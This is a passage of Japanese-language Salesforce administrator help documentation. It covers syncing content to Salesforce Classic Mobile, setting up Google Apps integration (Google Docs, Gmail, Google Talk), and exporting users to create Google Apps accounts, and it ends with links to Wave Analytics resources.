Salesforce Classic Mobile 設定のコンテンツを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce 設定」と入力し、

[Salesforce Classic 設定] を選択して、モバイル設定の名前をクリックします。
2. [データセット] 関連リストで、[編集] をクリックします。
3. [追加...] をクリックします。
4. ポップアップウィンドウで [コンテンツ] を選択し、[OK] をクリックします。
5. 項目の絞り込みを使用し、同期させるコンテンツレコードを指定します。

ユーザは Salesforce Classic Mobile アプリケーションでコンテンツを検索できな
いため、重要なコンテンツをデバイスで使用可能にする絞り込みの設定が不
可欠です。ライブラリまたは登録に基づいて絞り込みを作成することはでき
ませんが、次のオプションで有用な絞り込み条件を設定できます。
• 日付: [最終更新日]、[コンテンツ更新日]、または [作成日] 項目で絞り込みます。最近更新されたコン

テンツレコードを確実に同期させるには、「過去 90 日間」や「過去 180 日間」などの特殊な日付値を使
用します。
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• 所有者: 組織で特定の人物がコンテンツの公開を担当する場合、著者で絞り込みます。
• ファイルの種類: 特定のドキュメントタイプで絞り込みます。たとえば、商談チームは多くの場合、プ

レゼンテーション資料または PDF ドキュメントに関心があります。
• カスタム項目: コンテンツを分類するためにカスタムコンテンツ項目を作成している場合、カスタム項

目で絞り込みます。たとえば、選択リスト値の [機能の使用方法] 項目を作成した場合、[機能の使用方
法] が「セールス」に一致する絞り込み条件を設定できます。

6. 必要に応じて、[レコードの上限数を設定] で 2 番目のラジオボタンを選択し、この設定によりモバイルデバ
イスに転送できるコンテンツレコードの最大数を入力することで、コンテンツレコードがモバイルデバイ
ス上のすべてのメモリを使い切ってしまうことを防ぎます。[並び替えの基準] および [並び替え] ドロップダ
ウンリストを使用して、モバイル設定のデータサイズの制限を超えた場合に同期されるレコードを指定し
ます。

7. [完了] をクリックします。

関連トピック:

Salesforce Classic Mobile の設定
Salesforce CRM Content の設定

Google Apps

Google ドキュメント、Gmail、Google 関連 AppExchange アプリケーションなどの Google アプリケーション (Salesforce

で使用できるようにカスタマイズされたアプリケーション) を有効にします。

Salesforce and Google Apps の開始
Salesforce and Google Apps Supported の使用開始
Salesforce での Google Apps の設定
Google Apps アカウントの作成
Salesforce での Google ドキュメントの有効化
Salesforce での Gmail™

Gmail を Salesforce に統合します。
Salesforce での Google トークの使用
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Salesforce and Google Apps の開始
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Google Apps ドメイン設定
の表示と変更を行う
• 「アプリケーションの

カスタマイズ」

Google Apps サービスを有
効化または無効化する
• 「アプリケーションの

カスタマイズ」

Force.com AppExchange
パッケージをインストー
ルまたはアンインストー
ルする
• 「AppExchange パッ

ケージのダウンロー
ド」

ユーザ一覧を Google にエ
クスポートし Google Apps
アカウントを作成する
• 「アプリケーションの

カスタマイズ」

Google Appsは、Googleがホスティング提供する、業務のコミュニケーションとコ
ラボレーションのためにビジネスユーザ向けに設計されたオンデマンドサービ
スです。組織で Google Apps アカウントを持っていれば、Salesforce システム管理
者はGoogle ドキュメント、Gmail、およびGoogle 関連 AppExchangeアプリケーショ
ン (Salesforceで使用できるようにカスタマイズされているアプリケーション) のホ
ストを有効化することができます。

ステップ 1: Google Apps アカウントの作成
組織の Google Apps アカウントを作成します。
• [設定] から、[クイック検索]ボックスに「Google Apps」と入力し、[Google

Apps設定]を選択し、[サインアップ]をクリックして、Google Web サイトのア
カウントの作成ページにアクセスします。組織のドメイン名を登録するか、
Google から新しいドメイン名を購入するかを選択する画面が表示されます。
ドメインは、Web サイトの URL の「www.」の後ろに続く部分です。Google の
手順に従って、新規または既存のドメインを設定し、Google Appsアカウント
を設定します。

• 組織で Salesforce and Google Apps Supported 機能を購入した場合は、[設定] から
[クイック検索] ボックスに「Premier 設定」と入力し、[Premier 設定] を選
択して、Google Apps Premier Edition の新規アカウントを作成するか、既存の
Standard Edition アカウントを Premier Edition にアップグレードします。詳細は、
「Salesforce and Google Apps Supported の使用開始」を参照してください。

メモ: SalesforceのGoogle Appsは、Google Apps企業アカウントをサポートしま
すが、個人用アカウントは対象外です。個人用アカウントは、メールアド
レスが「gmail.com」ドメインになっていることから識別できます。たとえ
ば、myname@gmail.com が個人用アカウントです。Salesforceで設定するGoogle

Apps ドメインは、組織用に Google に登録したドメインである必要がありま
す。たとえば、mycompany.com は、個人用アカウントではなく企業アカウ
ントです。

ステップ 2: Google Apps ドメイン設定の定義
1. Salesforce の Google Apps 設定ページで [編集] をクリックします。
2. [Google Apps 管理連絡先] 項目のユーザを選択します。このユーザは、組織の Google Apps ユーザのため

の連絡先となります。たとえば、Google Apps サービスにアクセスできない場合などに、[Google Apps 管理連
絡先] へ問い合わせます。[Google Apps 管理連絡先] は、組織の Google Apps 管理者として Google に登録した人
と同じである必要はありませんが、Google Apps 管理者だけがドメイン内に Google Apps ユーザを新規作成で
きます。

3. Googleに登録した [Google Apps ドメイン]を入力します。たとえば、企業の URL が http://www.acme.com

で、その acme.com ドメインのGoogle Appsアカウントを作成した場合、[Google Apps ドメイン] 項目には
「acme.com」と入力します。
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4. [保存] をクリックします。

ステップ 3: Google Apps サービスの有効化
1. Google Apps 設定ページの [Google Apps サービスの有効化] セクションで、有効化する Google Apps サービスを

探します。
2. [編集] または [インストール] をクリックして、サービスを有効化します。[アクション] 列では、すでに

Salesforce に統合されている Google Apps サービスの場合は [編集]、インストールされていない Force.com

AppExchangeアプリケーションの場合は [インストール]が表示されます。統合されているGoogle Appsサービ
スは、次のとおりです。
• Google ドキュメントを Salesforce に追加
• Gmail to Salesforce

• Gmail ボタンと Gmail リンク
• Google トークサイドバーコンポーネント

重要: Google トークは Salesforce で使用できなくなりました。Google トークを使用するための代替手
段については、Google Talk のオンラインヘルプを参照してください。

Google 関連 AppExchange アプリケーションの説明は、http://sites.force.com/appexchange を参照してください。

ステップ 4: Google Apps ユーザの作成
SalesforceでGoogle Appsサービスを有効化すると、組織内のすべてのユーザにそのサービスが表示されますが、
ユーザがその組織のドメインのGoogle Appsアカウントを持っていない場合はサービスにアクセスできません。
Googleに登録されているGoogle Apps管理者がアカウントを追加できます。詳細は、「Google Appsアカウントの
作成」を参照してください。

関連トピック:

Salesforce and Google Apps Supported の使用開始
Salesforce での Google Apps の設定
Salesforce での Google ドキュメントの有効化
Salesforce での Gmail™
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Salesforce and Google Apps Supported の使用開始
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce で Google Apps
Premier Edition の新しいア
カウントを作成する
• 「アプリケーションの

カスタマイズ」

または

Google Apps 管理連絡
先

Salesforce で Google Apps
Standard Edition を Google
Apps Premier Edition にアッ
プグレードする
• 「アプリケーションの

カスタマイズ」

または

Google Apps 管理連絡
先

Salesforce and Google Apps Supported 機能には、組織の Google Apps Premier Edition アカ
ウントが含まれています。Salesforceで、アカウントを作成するか、既存のGoogle

Apps Standard Edition アカウントを Google Apps Premier Edition にアップグレードでき
ます。
SalesforceでGoogle Apps Premier Edition アカウントの新規作成、または、既存のGoogle

Apps Standard Edition アカウントのアップグレードを行った後、[Premier 設定] ペー
ジには、組織のドメイン名、組織で使用できる Google Apps Premier Edition ライセ
ンス数、およびアップグレードの状況が表示されます (該当する場合)。

Google Apps Premier Edition アカウントの新規作成
組織がGoogle Appsアカウントを持っていない場合、次の手順を実行して、Google

Apps Premier Edition アカウントを登録し、Salesforce and Google Apps を有効化してく
ださい。
1. [設定] から、[クイック検索]ボックスに「Premier 設定」と入力し、[Premier

設定] を選択します。
2. 列 A の項目を入力します。

説明項目

組織の Google Apps アカウントとして
登録するドメインを入力します。た
とえば、会社の URL が
http://www.acme.comの場合、[ド
メイン名] として「acme.com」を入
力します。

ドメイン名

この値を使用して、組織のアカウン
トの Google Apps 管理者を作成しま
す。たとえば、Google Apps 管理者が
jsmith@acme.com ならば、「jsmith」

ユーザ名

と入力します。Google Apps アカウン
トが作成されたら、その [ユーザ名]

と [パスワード]を使用してログイン
し、必要に応じてこの値を変更でき
ます。

この値を使用して、組織のアカウン
トの Google Apps 管理者を作成しま

名

す。Google Apps アカウントが作成さ
れたら、その [ユーザ名] と [パス
ワード] を使用してログインし、必
要に応じてこの値を変更できます。
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説明項目

この値を使用して、組織のアカウントの Google Apps

管理者を作成します。Google Appsアカウントが作成
姓

されたら、その [ユーザ名]と [パスワード]を使用
してログインし、必要に応じてこの値を変更できま
す。

このメールアドレスで、Google Apps Premier Edition ア
カウントが作成されたときの確認通知を受信しま

メールアドレス

す。Google は、この値をそれ以外の目的では保存し
ません。

Google Apps 管理者は、このパスワードで Google Apps

にログインできます。
パスワード

Google Apps 管理者は、このパスワードで Google Apps

にログインできます。
確認用パスワード

3. [新規 Premier アカウントの作成] をクリックします。
4. Salesforce and Google Apps を有効化するには、[設定] から [クイック検索] ボックスに「Google Apps 設定」

と入力し、[Google Apps 設定] を選択します。
5. [Google Apps 管理連絡先] 項目のユーザを選択します。このユーザは、組織の Google Apps ユーザのため

の連絡先となります。たとえば、Google Apps サービスにアクセスできない場合などに、[Google Apps 管理連
絡先] へ問い合わせます。[Google Apps 管理連絡先] は、組織の Google Apps 管理者として Google に登録した人
と同じである必要はありませんが、Google Apps 管理者だけがドメイン内に Google Apps ユーザを新規作成で
きます。

6. [Google Apps ドメイン] 項目に、Google で登録したドメイン名が含まれていることを確認します。
7. Salesforce で Google Apps サービスを有効化します。詳細は、「ステップ 3: Google Apps サービスの有効化」を

参照してください。
8. 組織の Google Apps アカウントのユーザを作成します。詳細は、「Google Apps アカウントの作成」を参照し

てください。

メモ: 作成できる Google Apps Premier Edition のアカウント数は、Salesforce and Google Apps Supported と共に
組織が購入したライセンス数に制限されます。

Google Apps Premier Edition アカウントのアップグレード
次の手順を実行して、組織の既存の Google Apps Standard Edition アカウントを Google Apps Premier Edition にアップ
グレードします。
1. [設定] から、[クイック検索] ボックスに「Premier 設定」と入力し、[Premier 設定] を選択します。
2. 列 B の項目を入力します。
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説明項目

組織の Google Apps Premier Edition アカウントとして登
録するドメイン。Salesforce and Google Appsをすでに有

ドメイン名

効化している場合、この項目にはあらかじめ組織の
ドメイン名が入っています。

Google Apps Standard Edition からGoogle Apps Premier Edition

にアップグレードする必要のある 16 桁のトークン。
Google Apps トークン

組織の Google Apps 管理者は、Google Web サイトでこ
の情報にアクセスできます。詳細は、列 B の [Google

Apps トークンの取得] をクリックしてください。

3. [既存のアカウントの Premier へのアップグレード] をクリックします。
4. Salesforce and Google Apps を有効化するには、[設定] から [クイック検索] ボックスに「Google Apps 設定」

と入力し、[Google Apps 設定] を選択します。
5. 必要に応じて、[Google Apps 管理連絡先] 項目を編集します。このユーザは、組織の Google Apps ユーザ

のための連絡先となります。たとえば、Google Apps サービスにアクセスできない場合などに、[Google Apps

管理連絡先] へ問い合わせます。[Google Apps 管理連絡先] は、組織の Google Apps 管理者として Google に登録
した人と同じである必要はありませんが、Google Apps 管理者だけがドメイン内に Google Apps ユーザを新規
作成できます。

6. [Google Apps ドメイン] 項目に、Google で登録したドメイン名が含まれていることを確認します。
7. 必要に応じて、Salesforce で Google Apps サービスを有効化します。詳細は、「ステップ 3: Google Apps サービ

スの有効化」を参照してください。
8. 必要に応じて、組織の Google Apps アカウントのユーザを作成します。詳細は、「Google Apps アカウントの

作成」を参照してください。

メモ: 作成できる Google Apps Premier Edition のアカウント数は、Salesforce and Google Apps Supported と共に
組織が購入したライセンス数に制限されます。

関連トピック:

Salesforce and Google Apps の開始
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Salesforce での Google Apps の設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Google Apps ドメイン設定
を編集しサービスを有効
化または無効化する
• 「アプリケーションの

カスタマイズ」

AppExchange パッケージ
をインストールまたはア
ンインストールする
• 「AppExchange パッ

ケージのダウンロー
ド」

[設定] から、[クイック検索]ボックスに「Google Apps 設定」と入力し、[Google

Apps 設定]を選択してGoogle Appsドメイン設定を編集し、SalesforceでGoogle Apps

サービスを有効化または無効化したり、Google 関連の Force.com AppExchange パッ
ケージをインストールまたはアンインストールしたりします。

重要: Salesforceで組織のGoogle Appsアカウントの作成が済み、Google Appsド
メイン設定が行われるまでは、Salesforce で Google Apps を使用できません。
アカウントの作成とドメイン設定の手順は、「Salesforce and Google Appsの開
始」 (ページ 4285)を参照してください。

Google Apps ドメイン設定の編集
ドメイン設定では、組織の Google Apps アカウントを管理するユーザと、Google

に登録した組織のドメインの 2 つの値を設定します。Salesforce で Google Apps を
有効にするには、この両方の設定が必須です。ドメイン設定を編集する手順は、
次のとおりです。
1. [Google Apps ドメインの設定] セクションで [編集] をクリックします。
2. 必要に応じて、[Google Apps 管理連絡先] 項目で新規ユーザを選択しま

す。このユーザは、組織のGoogle Appsユーザのための連絡先となります。た
とえば、Google Appsサービスにアクセスできない場合などに、[Google Apps管
理連絡先] へ問い合わせます。[Google Apps管理連絡先] は、組織の Google Apps

管理者として Google に登録した人と同じである必要はありませんが、Google

Apps 管理者だけがドメイン内に Google Apps ユーザを新規作成できます。
3. 必要に応じて、組織のGoogle Appsアカウント用にGoogleに登録する [Google Apps ドメイン] を変更でき

ます。[Google Apps ドメイン] は、通常、会社のドメインです (acme.com など)。

Google Apps サービスの変更
Salesforce と統合される Google Apps サービスの一覧と、AppExchange から簡単にインストールできる Google 関連
の Force.com AppExchange アプリケーション ( 英語版のみ) へのリンクです。
統合されたサービスを有効化または無効化するには、サービス名の横にある [編集] をクリックします。次の
サービスがあります。
• Google ドキュメントを Salesforce に追加
• Gmail to Salesforce

• Gmail ボタンと Gmail リンク
• Google トークサイドバーコンポーネント

重要: Google トークはSalesforceで使用できなくなりました。Google トークを使用するための代替手段に
ついては、Google Talk のオンラインヘルプを参照してください。
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AppExchange アプリケーション ( 英語版のみ) をインストールまたはアンインストールするには、該当する名前
の横にある[インストール]または[アンインストール]をクリックします。提供されている Google 関連AppExchange

アプリケーションをすべて確認するには、http://sites.force.com/appexchange を参照してください。

実装のヒント
• Google Apps についての詳細は、「Google のオンラインヘルプ」を参照してください。
• Salesforce の Google Apps は、Google 企業アカウントでは使用できますが、個人用アカウントでは使用できま

せん。個人用アカウントは、メールアドレスが「gmail.com」ドメインになっていることから識別できます。
たとえば、myname@gmail.com が個人用アカウントです。Salesforce で設定する Google Apps ドメインは、組織
用に Google に登録したドメインである必要があります。たとえば、mycompany.com は、個人用アカウント
ではなく企業アカウントです。

• 組織のGoogle Appsアカウントを作成したら、SalesforceユーザのGoogle Appsアカウントを作成します。[設定]

から、[クイック検索]ボックスに「ユーザ」と入力し、[ユーザ]を選択して、[Google Appsにエクスポート]

をクリックします。
• ユーザにそれぞれの Google Apps のユーザ名とパスワードを通知します。
• Google Apps サービスが有効化されると、ユーザが Salesforce の変更を確認できます。
• Force.com AppExchange から入手できるすべての Google アプリケーション ( 英語版のみ) を参照するには、

http://sites.force.com/appexchange にアクセスしてください。
• デフォルトでは、組織のドメイン内の Google Apps ユーザは、そのドメイン外の Google Apps アカウントとも

Googleドキュメントを共有できます。Google Appsアカウントのコントロールパネルには、共有設定があり、
ドキュメントの共有を自分達のドメイン内に制限できます。

• [SalesforceサービスへのGoogle ドキュメント追加] が無効な場合、Googleドキュメントには Salesforceレコード
からアクセスでき、レコードから削除されたごみ箱内の Google ドキュメントは、Salesforce から永続的に削
除されます。[Google ドキュメントを Salesforce に追加] サービスが 30 日以内に再度有効になると、無効にな
る以前に Salesforce レコードに関連付けられていた Google ドキュメントは、以前の場所に復元されます。
[Google ドキュメントを Salesforceに追加] サービスが無効になっても、Salesforce CRM Contentライブラリにある
Google ドキュメントには影響しません。無効化されても、ライブラリ内の Google ドキュメントの関連付け
は削除されず、[ごみ箱] にある Google ドキュメントが完全に削除されることもありません。

• Salesforce CRM Content の [寄稿] タブへのアクセス権を持つカスタマーポータルおよびパートナーポータルの
ユーザは、新しい Google ドキュメントを作成し、既存の Google ドキュメントを Salesforce ライブラリに関連
付けることができます。Salesforce CRM Content へのアクセス権を持たないポータルユーザは、既存の Google

ドキュメントをレコードに関連付けることはできますが、ポータルにある [Google ドキュメント、メモおよ
び添付ファイル] 関連リストへのアクセス権を持っていないため、新しいGoogleドキュメントをレコード内
で作成することはできません。ポータルユーザは、[Googleドキュメントを Salesforceに追加]ブラウザボタ
ンを使用できません。

• カスタマーポータルとパートナーポータルのユーザは、[GmailボタンとGmailリンク] にはアクセスできませ
ん。

• 組織で Salesforce for Google Apps Supported 機能を購入された場合は、「Salesforce and Google Apps Supported の使用
開始」 (ページ 4287)を参照してください。
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ベストプラクティス
• Sandbox や Developer Edition 組織を使用して、Google Apps とのインテグレーションをテストします。
• Google Appsユーザと同様の管理を、Salesforceユーザにも行います。たとえば、Salesforceユーザを無効にする

場合、組織の Google Apps アカウントのコントロールパネルにあるそのユーザの Google Apps アカウントも無
効にします。組織の Google Apps アカウントの管理についての詳細は、「Google のオンラインヘルプ」を参
照してください。

• Google ドキュメントを Salesforce ですばやく見つけ出すには、検索を使用して検索します。

関連トピック:

Salesforce and Google Apps の開始

Google Apps アカウントの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ユーザを Google にエクス
ポートする
• 「アプリケーションの

カスタマイズ」

Google Apps アカウントを
新規作成する
• Google Apps 管理者

組織のGoogle Appsアカウントを作成し、SalesforceでGoogle Appsを有効化した後、
個々のユーザ用のGoogle Appsアカウントを作成できます。Salesforceで有効になっ
ている Google Apps サービスにアクセスするには、組織が Google に登録したドメ
インの Google Apps アカウントが、各ユーザに必要です。アカウントには、ユー
ザ名とパスワードがあり、それを使って、ユーザはすべての Google Apps サービ
スにログインできます。

メモ: 組織で Salesforce and Google Apps Supported を購入された場合、作成でき
る Google Apps Premier Edition のアカウント数は、組織が購入したライセンス
数に制限されます。

ユーザ一覧を Google にエクスポートして各ユーザの Google Apps アカウントを作
成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. [ビュー] のドロップダウンリストで、ユーザ一覧を選択します。
3. 一覧にあるすべてのユーザをエクスポートするには、[Google Apps にエクス

ポート] をクリックします。特定のユーザのみをエクスポートするには、[ア
クション] 列でエクスポートするユーザを選択します。

メモ: 組織で Google Apps が有効になっていない場合、[Google Apps にエ
クスポート] ボタンは表示されません。Salesforce で Google Apps を有効に
するには、「Salesforce and Google Appsの開始」 (ページ4285)を参照してく
ださい。

4. [Google Appsへのユーザのエクスポート] ページで、ステップ 1 で選択したビュー名のエクスポートファイル
リンクをクリックします。リンク名は、エクスポートするユーザを選択したリストビューによって異なり
ます。たとえば、[すべてのユーザ] リストなら、[Google Appsへのユーザのエクスポート] ページにあるリン
クは、[すべてのユーザエクスポートファイル] です。

5. エクスポートリンクをクリックして表示される CSV スプレッドシートで、各ユーザの仮パスワードを設定
します。必要に応じて、任意のユーザの [username]、[姓]、および [名]を変更できます。Googleでは、
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スプレッドシートのユーザ名にドメインを付加して、アカウント名を作成します。たとえば、ドメインが
acme.com で、スプレッドシートに john.doe と jane.doe というユーザ名があると、Google Apps ユーザ名は
john.doe@acme.com と jane.doe@acme.com になります。

6. スプレッドシートを自分のコンピュータに保存します。
7. [Google Apps のアカウントの一括更新ツール]リンクをクリックして、組織のGoogle Appsアカウント用の [ア

カウントの一括更新] ページを起動します。プロンプトが表示されたら、Google Apps管理者ユーザ名でログ
インします。Google に組織のアカウント管理者として登録されているユーザのみが、組織のドメインの
Google Apps アカウントを作成できます。

8. Google の指示に従ってスプレッドシートにあるデータをインポートします。Google Apps管理者に確認レポー
トが送信されます。また、アカウントが作成されると、ユーザに新しいGmailアカウントの通知メールが送
信されます。

9. ユーザにそれぞれのユーザ名とパスワードを通知します。Salesforce で有効になっている Google Apps サービ
スを使用する際には、これらの情報が必要になります。

関連トピック:

Salesforce and Google Apps の開始

Salesforce での Google ドキュメントの有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[Google ドキュメントを
Salesforce に追加] サービ
スを有効化する
• 「アプリケーションの

カスタマイズ」

重要: Google Apps サービスを Salesforce で有効にすると、すべての Salesforce

ユーザに表示されます。これらのサービスを使用するには、ユーザは自社
のドメインに Google Apps アカウントが必要です。詳細は、「Salesforce and

Google Apps の開始」を参照してください。
Google ドキュメント™ により、オンデマンドのドキュメント、スプレッドシー
ト、プレゼンテーションの作成、ブラウザでのそれらの編集、および他のユー
ザとのリアルタイムでの業務連携作業が可能です。
[Google ドキュメントを Salesforce に追加] サービスを有効または無効にする手順
は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Google Apps 設定」と入力し、

[Google Apps 設定] を選択します。
2. [Google Apps サービスの有効化] リストの [Google ドキュメントを Salesforce に追

加] オプションの横にある [編集] をクリックします。
3. [有効化] を選択します。
4. 利用規約を読み、同意するかどうかを示します。
5. [保存] をクリックします。
[Google ドキュメントをSalesforceに追加] サービスが有効である場合は、次の変更
により、ユーザは Google ドキュメントの作成、編集、または参照を行い、それ
らを Salesforce レコードに関連付けることができます。
• 取引先、納入商品、取引先責任者、契約、リード、商談、商品、およびカスタムオブジェクトに関する [メ

モ & 添付ファイル] 関連リストは、[Google ドキュメント、メモ & 添付ファイル] に名前が変わりました。
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• ケース、ソリューション、およびキャンペーンに関する [添付ファイル] 関連リストは、[Google ドキュメン
ト & 添付ファイル] に名前が変わりました。

• Salesforce CRM Contentが有効な場合、[ライブラリ] タブには、[Googleドキュメントの追加]ドロップダウンリ
ストが表示されます。

ユーザは、[Google ドキュメントを Salesforce に追加] ブラウザボタンをインストールすることもできます。こ
のボタンにより、Salesforce にログインしていなくても、1 つの Google ドキュメントを複数の Salesforce レコード
または 1 つの Salesforce CRM Content ライブラリに関連付けることができます。

実装のヒント
• Google ドキュメントについての詳細は、「Google のオンラインヘルプ」を参照してください。
• デフォルトでは、ドメイン内の Google ドキュメントユーザは、そのドメイン外の Google Apps アカウントと

も Google ドキュメントを共有できます。Google Apps アカウントのコントロールパネルには、共有設定があ
り、ドキュメントの共有を組織のドメイン内のユーザに制限できます。

• Salesforce CRM Content の [寄稿] タブへのアクセス権を持つカスタマーポータルおよびパートナーポータルの
ユーザは、新しい Google ドキュメントを作成し、既存の Google ドキュメントを Salesforce ライブラリに関連
付けることができます。Salesforce CRM Content へのアクセス権を持たないポータルユーザは、既存の Google

ドキュメントをレコードに関連付けることはできますが、ポータルにある [Google ドキュメント、メモおよ
び添付ファイル] 関連リストへのアクセス権を持っていないため、新しいGoogleドキュメントをレコード内
で作成することはできません。ポータルユーザは、[Googleドキュメントを Salesforceに追加]ブラウザボタ
ンを使用できません。

• [SalesforceサービスへのGoogle ドキュメント追加] が無効な場合、Googleドキュメントには Salesforceレコード
からアクセスでき、レコードから削除されたごみ箱内の Google ドキュメントは、Salesforce から永続的に削
除されます。[Google ドキュメントを Salesforce に追加] サービスが 30 日以内に再度有効になると、無効にな
る以前に Salesforce レコードに関連付けられていた Google ドキュメントは、以前の場所に復元されます。
[Google ドキュメントを Salesforceに追加] サービスが無効になっても、Salesforce CRM Contentライブラリにある
Google ドキュメントには影響しません。無効化されても、ライブラリ内の Google ドキュメントの関連付け
は削除されず、[ごみ箱] にある Google ドキュメントが完全に削除されることもありません。

• Google ドキュメントが Apex で参照されている場合は、組織で [Google ドキュメントを Salesforce に追加] サー
ビスを無効にすることはできません。

• Google ドキュメントは、データストレージとして数えられます。Salesforce 内のレコードまたはライブラリ
に関連付けられた Google ドキュメントそれぞれについて、2 KB のストレージが使用されます。

関連トピック:

Salesforce and Google Apps の開始
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Salesforce での Gmail™

ユーザ権限

Salesforce で Gmail を有効
化する
• 「アプリケーションの

カスタマイズ」

Gmail を Salesforce に統合します。

Gmail to Salesforce を使用可能なインターフェース: Salesforce Classic と Lightning

Experience の両方

Gmail ボタンと Gmail リンクを使用可能なインターフェース: Salesforce Classic

使用可能なエディション: Database.com Edition を除くすべてのエディション

重要: Google Appsサービスを Salesforceで有効にすると、すべての Salesforceユーザに表示されます。これら
のサービスを使用するには、ユーザは自社のドメインに Google Apps アカウントが必要です。詳細は、
「Salesforce and Google Apps の開始」を参照してください。

Gmail は 2 通りの方法で Salesforce に統合できます。
• Gmail to Salesforce

• Gmail ボタンと Gmail リンク

Gmail to Salesforce
[Gmail to Salesforce] を使用すると、メールが自動的に記録されます。また、Gmailアカウントから送信したチャッ
トを、活動履歴をサポートするリード、取引先責任者、商談、その他のレコードの活動として記録できます。
Gmail を Salesforce に対して有効にした後で、無効にすることはできません。
Salesforce に対して Gmail を有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「メール to Salesforce」と入力し、[メール to Salesforce] を選

択します。有効になっていることを確認します。
2. [設定] から、[クイック検索] ボックスに「Google Apps 設定」と入力し、[Google Apps 設定] を選択しま

す。
3. [Google Apps 管理連絡先] と [Google Apps ドメイン] を設定して、変更を保存します。

Gmail ボタンと Gmail リンク
[Gmailボタンと Gmail リンク] は、すべてのレコードのメール項目の横に [Gmail]リンクを追加し、リードと取引
先責任者の [活動履歴] に [Gmailを作成]ボタンを追加します。Gmailリンクまたは [Gmailを作成]を選択すると、
Salesforce により自動的に Gmail アカウントにログインし、[宛先] 項目を自動的に入力します。[Gmail to Salesforce]

が有効であれば、Salesforce は [BCC] 項目にも [メール to Salesforce] のアドレスを入力します。
[Gmail ボタンと Gmail リンク] を有効化する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Google Apps」と入力し、[Google Apps 設定] を選択します。
2. [Google Apps サービスの有効化] リストで、[Gmail ボタンと Gmail リンク] の横にある [編集] をクリックしま

す。
3. [Gmail ボタンと Gmail リンク] を有効にするには、[有効] を選択します。
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4. すべてのメール項目 ([設定] にあるページのメール項目を除く) の横に[Gmail]リンクを追加するには、[Gmail

リンク] を選択します。
5. リードや取引先責任者の [活動履歴] に [Gmail を作成] ボタンを追加するには、[Gmail ボタン] を選択しま

す。
6. 利用規約を読み、同意するかどうかを示します。
7. [保存] をクリックします。

実装メモ
[Gmail to Salesforce] を使用せずに、[Gmail ボタンと Gmail リンク] を有効にした場合も、取引先責任者やリードで
Gmail リンクを使用できます。ただし、Salesforce で Gmail アカウントから送信したメールが記録されません。ま
た、[メールの作成] ウィンドウの [BBC] 項目には [メール to Salesforce] のアドレスが自動的に入力されません。

関連トピック:

Salesforce and Google Apps の開始
http://support.google.com/mail/?hl=en

Salesforce での Google トークの使用
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Google トークを有効化ま
たは無効化する
• 「アプリケーションの

カスタマイズ」

重要: Google トークは Salesforceで使用できなくなりました。Google トークを
使用するための代替手段については、Google Talkのオンラインヘルプを参照
してください。

Google トークの無効化
Google トークを Salesforce で無効にする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「Google Apps」と入力し、[Google

Apps 設定] を選択します。
2. [Google Apps サービスの有効化] リストの [Google トークサイドバーコンポーネ

ント] オプションの横にある [編集] をクリックします。
3. [有効] チェックボックスをオフにします。
4. [保存] をクリックします。

関連トピック:

Salesforce and Google Apps の開始

その他のリソース

詳細情報が必要ですか? 次のヒント集を確認してください。
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ヒント集

ヒント集
Salesforceでは、オンラインヘルプだけでなく印刷可能なドキュメントを公開し、機能についての習得とSalesforce

の適切な管理ができるようにしています。

Salesforce Communities

Salesforce CRM Content
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分析

Wave Analytics

Salesforce Wave Analytics は、複数ソースからのデータの接続、そのデータの対話ビューの作成、ダッシュボード
でのそれらのビューの共有を行うためのクラウドベースのプラットフォームです。ビジネスユーザへのインサ
イトの配布をより容易にし、ユーザが変化する情報を理解してアクションを実行できるようにします。

事前作成済み Wave アプリケーションによる加速化

Trailhead:

Sales Wave アプ
リケーション

Sales Wave Analytics アプリケーション

Trailhead:

Service Wave アプ
リケーション

Service Wave Analytics アプリケーション

Trailhead: イ
ベント監視

Event Monitoring Wave アプリケーション

Wave for B2B Marketing アプリケーション

組織での Wave の有効化

Wave

Analytics セキュ
Wave へのアクセスの設定 | PDF

リティ実装ガイ
ド PDF

Trailhead:

Wave Analytics の
基礎

Wave

Analytics の制限

Wave

Analytics の制限
事項

Wave 機能の有効化
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https://trailhead.salesforce.com/ja/module/wave_apps_sales_wave
https://trailhead.salesforce.com/ja/module/wave_apps_sales_wave
https://trailhead.salesforce.com/ja/module/wave_apps_sales_wave
https://trailhead.salesforce.com/ja/module/service_wave_app_intro
https://trailhead.salesforce.com/ja/module/service_wave_app_intro
https://trailhead.salesforce.com/ja/module/service_wave_app_intro
https://trailhead.salesforce.com/ja/module/event_monitoring
https://trailhead.salesforce.com/ja/module/event_monitoring
https://resources.docs.salesforce.com/206/latest/ja-jp/sfdc/pdf/bi_admin_guide_security.pdf
https://resources.docs.salesforce.com/206/latest/ja-jp/sfdc/pdf/bi_admin_guide_security.pdf
https://resources.docs.salesforce.com/206/latest/en-us/sfdc/pdf/bi_admin_guide_setup.pdf
https://resources.docs.salesforce.com/206/latest/ja-jp/sfdc/pdf/bi_admin_guide_security.pdf
https://resources.docs.salesforce.com/206/latest/ja-jp/sfdc/pdf/bi_admin_guide_security.pdf
https://trailhead.salesforce.com/ja/module/wave_analytics_basics
https://trailhead.salesforce.com/ja/module/wave_analytics_basics
https://trailhead.salesforce.com/ja/module/wave_analytics_basics
https://help.salesforce.com/apex/HTViewHelpDoc?id=bi_help_setup_optional.htm&language=ja


組織での Wave の有効化

外部デー
タ API ガイド

外部デー
